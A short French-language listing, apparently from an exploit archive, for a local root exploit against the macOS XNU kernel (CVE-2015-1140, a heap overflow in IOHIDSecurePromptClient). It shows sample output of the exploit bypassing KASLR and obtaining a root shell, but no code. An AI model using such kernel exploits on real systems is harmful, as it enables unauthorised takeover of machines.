
xnu élévation de privilèges locale via cve-2015-1140 IOHIDSecurePromptClient injectStringGated dépassement de tas | poc||gtfo
~vpwn par qwertyoruiop
Exploitation générique de débordement de tas xnu.
exemple de sortie :
$ ./pwn [i] Préparation de la charge utile... [i] Échappement de KASLR, kaslr_slide = 0000000001a00000 [+] Charge utile fabriquée avec succès. [i] Manipulation du tas... [i] Exploit chargé. [+] r00t obtenu sh-3.2# uname -a Darwin qwertyoruiops-iMac.local 14.3.0 Darwin Kernel Version 14.3.0: Sat Mar 7 14:01:18 PST 2015; root:xnu-2782.20.39.0.1~1/RELEASE_X86_64 x86_64 sh-3.2#